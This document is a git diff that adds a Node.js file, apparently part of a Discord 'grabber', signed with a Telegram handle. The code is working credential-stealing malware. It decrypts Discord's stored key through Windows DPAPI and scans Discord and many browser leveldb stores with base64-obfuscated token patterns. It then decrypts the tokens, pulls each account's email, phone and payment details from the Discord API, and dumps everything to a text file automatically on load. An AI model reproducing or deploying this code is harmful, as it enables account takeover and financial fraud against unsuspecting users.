diff --git a/Utils/Discord.js b/Utils/Discord.js index 8b13789..b5bfa0a 100644 --- a/Utils/Discord.js +++ b/Utils/Discord.js @@ -1 +1,238 @@ +// Coded by syntheticuhh +// t.me/Phorcy + +const fs = require("fs"); +const dpapi = require("win-dpapi"); +const crypto = require("crypto"); +const axios = require("axios"); + +class D { + constructor(u, d, i, n, b, bill, e, ph, t, av, bio) { + this.u = u; + this.tag = `${u}#${d}`; + this.id = i; + this.n = n; + this.bad = b; + this.bil = bill; + this.em = e; + this.ph = ph || "None"; + this.bio = bio ? bio.replace(/\n/gm, "\\n") : "None"; + this.t = t; + this.av = `https://cdn.discordapp.com/avatars/${i}/${av}.png`; + } + + static async gP(t) { + try { + const r = await axios.get(`https://canary.discord.com/api/v9/users/@me/billing/payment-sources`, { + headers: { "Authorization": t } + }); + + const v = r.data.filter(p => p.type === 1 && !p.invalid); + + if (v.length > 0) { + return v.map(p => "Credit Card ✔️").join(" "); + } else { + return "Paypal Account Connected"; + } + } catch (e) { + return "`No Card They Are Broke`"; + } + } + + static async gA(tokens) { + const a = []; + + for (const t of tokens) { + try { + const r = await axios.get(`https://discord.com/api/v9/users/@me`, { + headers: { "Authorization": t } + }); + + const j = r.data; + if (!j.message) { + a.push(new D( + j.username, j.discriminator, j.id, + D.hN(j), D.gBI(j), + await D.gP(t), + j.email, j.phone, t, j.avatar, j.bio + )); + } + } catch (e) { + continue; + } + } + + return a; + } + + static hN(j) { + return j["premium_type"] !== undefined && j["premium_type"] !== null ? "True" : "False"; + } + + static gBI(j) { + const bL = [ + { name: "N/A", flag: 0 }, + { name: "Staff", flag: 1 }, + { name: "Partner", flag: 2 }, + { name: "HypeSquad Events", flag: 4 }, + { name: "Bug Hunter Level 1", flag: 8 }, + { name: "Bravery", flag: 64 }, + { name: "Brilliance", flag: 128 }, + { name: "Balance", flag: 256 }, + { name: "Early Supporter", flag: 512 }, + { name: "Bug Hunter Level 2", flag: 16384 }, + { name: "Developer", flag: 131072 }, + { name: "Active Developer", flag: 4194304 } + ]; + const fV = j["flags"]; + const bR = bL + .filter(badge => (fV & badge.flag) === badge.flag) + .map(badge => badge.name); + return bR.length > 0 ? bR.join(", ") : "None"; + } +} + +function gMK(bP) { + const mKP = `${bP}\\Local State`; + const eK = Buffer.from(JSON.parse(fs.readFileSync(mKP, "utf-8")).os_crypt.encrypted_key, "base64").slice(5); + const dK = dpapi.unprotectData(Buffer.from(eK, "utf-8"), null, 'CurrentUser'); + return dK; +} + +function gET(bP) { + const lP = `${bP}\\Local Storage\\leveldb\\`; + + if (!fs.existsSync(lP)) { + return []; + } + + const f = fs.readdirSync(lP); + const eR = /dQw4w9WgXcQ:[^\"]*/gm; + + const uET = f + .filter(file => file.endsWith(".log") || file.endsWith(".ldb")) + .flatMap(file => { + const content = fs.readFileSync(`${lP}${file}`, "utf-8"); + return content.match(eR) || []; + }) + .filter((item, pos, self) => self.indexOf(item) === pos) + .filter(el => el !== null); + + return uET; +} + +function dUT(eT, mK) { + const dT = eT.map(eT => { + try { + const tD = Buffer.from(eT.split('dQw4w9WgXcQ:')[1], "base64"); + const sP = tD.slice(3, 15); + const mP = tD.slice(15, -16); + const eP = tD.slice(-16); + const d = crypto.createDecipheriv('aes-256-gcm', mK, sP); + + d.setAuthTag(eP); + return d.update(mP, 'base64', 'utf-8') + d.final('utf-8'); + } catch (e) { + return null; + } + }); + + return dT.filter(t => t !== null); +} + +function dUP(bP, p) { + const pP = `${bP}\\${p}`; + return fs.existsSync(pP) ? fs.readdirSync(pP).map(p => ({ p: `${pP}\\${p}` })) : []; +} + +async function fD() { + const aP = process.env.APPDATA; + const lP = process.env.LOCALAPPDATA; + const dP = [`${aP}\\discord`, `${aP}\\discordcanary`, `${aP}\\discordptb`]; + let t = []; + + for (const p of dP) { + if (fs.existsSync(p)) { + const eT = gET(p); + const mK = gMK(p); + t = t.concat(dUT(eT, mK)); + } + } + + const bP = [ + `${aP}\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\`, + `${aP}\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\`, + `${lP}\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\`, + `${lP}\\Google\\Chrome SxS\\User Data\\Local Storage\\leveldb\\`, + `${lP}\\Sputnik\\Sputnik\\User Data\\Local Storage\\leveldb\\`, + `${lP}\\7Star\\7Star\\User Data\\Local Storage\\leveldb\\`, + `${lP}\\CentBrowser\\User Data\\Local Storage\\leveldb\\`, + `${lP}\\Orbitum\\User Data\\Local Storage\\leveldb\\`, + `${lP}\\Kometa\\User Data\\Local Storage\\leveldb\\`, + `${lP}\\Torch\\User Data\\Local Storage\\leveldb\\`, + `${lP}\\Amigo\\User Data\\Local Storage\\leveldb\\`, + `${lP}\\BraveSoftware\\Brave-Browser\\User Data\\%PROFILE%\\Local Storage\\leveldb\\`, + `${lP}\\Iridium\\User Data\\%PROFILE%\\Local Storage\\leveldb\\`, + `${lP}\\Yandex\\YandexBrowser\\User Data\\%PROFILE%\\Local Storage\\leveldb\\`, + `${lP}\\uCozMedia\\Uran\\User Data\\%PROFILE%\\Local Storage\\leveldb\\`, + `${lP}\\Microsoft\\Edge\\User Data\\%PROFILE%\\Local Storage\\leveldb\\`, + `${lP}\\Google\\Chrome\\User Data\\%PROFILE%\\Local Storage\\leveldb\\`, + `${lP}\\Vivaldi\\User Data\\%PROFILE%\\Local Storage\\leveldb\\`, + ]; + + const bPr = bP + .flatMap(b => dUP(b, b.split("\\")[6]) + .map(p => p.p)); + + const cR = [ + new RegExp(Buffer.from("W1x3LV17MjR9XC5bXHctXXs2fVwuW1x3LV17Mjd9", 'base64').toString(), 'gm'), + new RegExp(Buffer.from("bWZhXC5bXHctXXs4NH0=", 'base64').toString(), 'gm'), + new RegExp(Buffer.from("W1x3LV17MjR9XC5bXHctXXs2fVwuW1x3LV17MjUsMTEwfQ==", 'base64').toString(), 'gm') + ]; + + const tFP = bPr + .filter(p => fs.existsSync(p)) + .flatMap(p => fs.readdirSync(p) + .filter(file => file.endsWith(".log") || file.endsWith(".ldb")) + .flatMap(file => cR.flatMap(reg => { + const content = fs.readFileSync(`${p}${file}`, "utf-8"); + return content.match(reg) || []; + })) + ) + .filter((item, pos, self) => self.indexOf(item) === pos && item !== null); + + t = [...new Set(t.concat(tFP))]; + return await D.gA(t); +} + +function stxt(a) { + const fD = a.map(a => { + return ` Discord DATA ~ t.me/phorcy +====================================================== +| Username > ${a.u} +| +| Userid > ${a.id} +| +| Email > ${a.em} +| +| Phone > ${a.ph} +| +| Badges > ${a.bad} +| +| Billing > ${a.bil} +| +| Nitro > ${a.n} +| +| Bio > ${a.bio} +| +| Token > ${a.t} +| +======================================================`; + }); + fs.writeFileSync('discord.txt', fD.join('\n\n'), 'utf-8'); +} +(async () => { + const a = await fD(); + stxt(a); +})();